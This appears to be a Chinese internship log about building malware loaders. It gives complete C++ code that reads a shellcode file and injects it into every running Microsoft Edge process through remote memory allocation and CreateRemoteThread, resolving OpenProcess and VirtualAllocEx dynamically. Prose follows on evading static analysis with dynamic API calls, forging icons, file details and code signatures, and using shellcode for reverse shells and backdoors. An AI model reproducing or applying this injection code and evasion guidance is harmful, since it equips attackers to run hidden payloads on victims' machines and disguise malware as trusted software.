7.17生产实习日志
上线工具与代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| #include<fstream> #include<iostream> #include<Windows.h> #include <tlhelp32.h> using namespace std;
typedef HANDLE(WINAPI* fn_OpenProcess)( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ); typedef LPVOID(WINAPI* fn_VirtualAllocEx)( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect );
void createThreadTest(char* argv[]) { char* filename = argv[1]; ifstream infile; infile.open(filename, ios::out | ios::binary); infile.seekg(0, infile.end); int length = infile.tellg(); infile.seekg(0, infile.beg); char* data = new char[length]; if (infile.is_open()) { cout << "reading from the file" << endl; infile.read(data, length); } HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot_handle != INVALID_HANDLE_VALUE) { PROCESSENTRY32 process_entry; process_entry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot_handle, &process_entry)) { do { std::wstring extFileName(process_entry.szExeFile); if (extFileName.find(L"msedge.exe") != std::string::npos) { fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess"); HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID); if (process_handle != NULL) { fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx"); LPVOID remote_buffer =myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remote_buffer != NULL) { SIZE_T bytes_written; if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) { std::cout << "Remote buffer address: " << remote_buffer << std::endl;
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL); if (remote_thread != NULL) { WaitForSingleObject(remote_thread, INFINITE); CloseHandle(remote_thread); } } CloseHandle(remote_buffer); } CloseHandle(process_handle); } } } while (Process32Next(snapshot_handle, &process_entry)); } CloseHandle(snapshot_handle); } }
int main(int argc,char* argv[]) { createThreadTest(argv); return 0; }
|
运行结果


参数分离
使用参数分离传递文件路径与进程名
参数分离是指将程序所需的输入参数从代码逻辑中分离出来,通常通过命令行参数传递。这种做法的好处包括增强程序的灵活性、可扩展性和易维护性。具体来说,通过命令行参数传递文件路径和进程名可以实现以下功能:
- 灵活性:允许用户在运行程序时指定不同的文件路径和进程名,而不需要修改代码。
- 自动化:方便脚本化和批处理,适用于自动化任务。
- 调试:简化调试过程,可以快速更改输入参数以测试不同场景。
使用参数分离实现功能模块(-I, -d之类的)
使用参数分离可以实现功能模块的动态调用,比如通过命令行参数来启用或禁用特定功能模块。常见的做法是使用短横线(-)或双短横线(–)引导的参数,例如:
- -I:指定输入文件或目录。
- -d:启用调试模式。
- –output:指定输出文件或目录。
- –verbose:启用详细日志输出。
这些参数可以组合使用,使程序具有更高的灵活性。例如,script.py -I input.txt -d
表示运行程序时指定输入文件为input.txt
并启用调试模式。
动态调用
VirtualAlloc 动态调用
VirtualAlloc
是 Windows API 中用于内存分配的函数,动态调用它可以在运行时分配内存,而不是在编译时确定。动态调用涉及在程序运行时解析函数地址并调用它,这通常用于规避静态分析和提高恶意软件的隐蔽性。
- 使用场景:
- 恶意软件:动态调用可以隐藏恶意行为,避免被静态分析工具检测。
- 内存管理:在需要动态分配大块内存的应用程序中使用。
其他敏感 API 的动态调用
除 VirtualAlloc
外,其他常用的敏感 API(如 LoadLibrary
、GetProcAddress
等)也可以通过动态调用来实现。这些 API 通常用于加载动态链接库(DLL)、获取函数地址等操作。
- 安全性:动态调用可以规避静态分析,提升程序的隐蔽性。
- 灵活性:允许程序根据运行时环境动态决定调用的函数,提高程序的适应性。
伪造图标与详细信息
伪造图标和详细信息是指通过修改可执行文件的资源部分,来改变文件在文件管理器中的显示内容。这种技术常用于恶意软件和钓鱼攻击,使文件看起来合法和无害。
- 图标伪造:通过修改资源段,将合法软件的图标替换到恶意软件中。
- 详细信息伪造:修改文件属性,如版本号、公司名称、描述等,使文件看起来像是来自可信来源。
伪造签名
伪造签名是指对恶意软件进行数字签名,使其看起来像是由可信任的来源发布。这通常通过以下方法实现:
- 盗用合法签名:获取合法软件开发者的私钥,对恶意软件进行签名。
- 伪造证书:创建伪造的数字证书并使用它对恶意软件进行签名。
- 证书滥用:利用受信任的证书签署恶意软件。
Shellcode(bin 文件)
Shellcode 是一段小型代码片段,通常用于在漏洞利用中执行特定任务。它常以二进制文件(bin 文件)的形式存在,直接嵌入到受害程序的内存中并执行。
特点:
- 小巧精简:通常只有几十到几百字节,便于嵌入。
- 直接执行:无需依赖外部库或文件,直接在内存中执行。
- 多功能:可以执行各种任务,如反弹 shell、下载和执行文件等。
使用场景:
- 漏洞利用:利用漏洞将 shellcode 注入目标进程并执行。
- 后门程序:在被攻破的系统中执行特定任务,如建立持久性后门。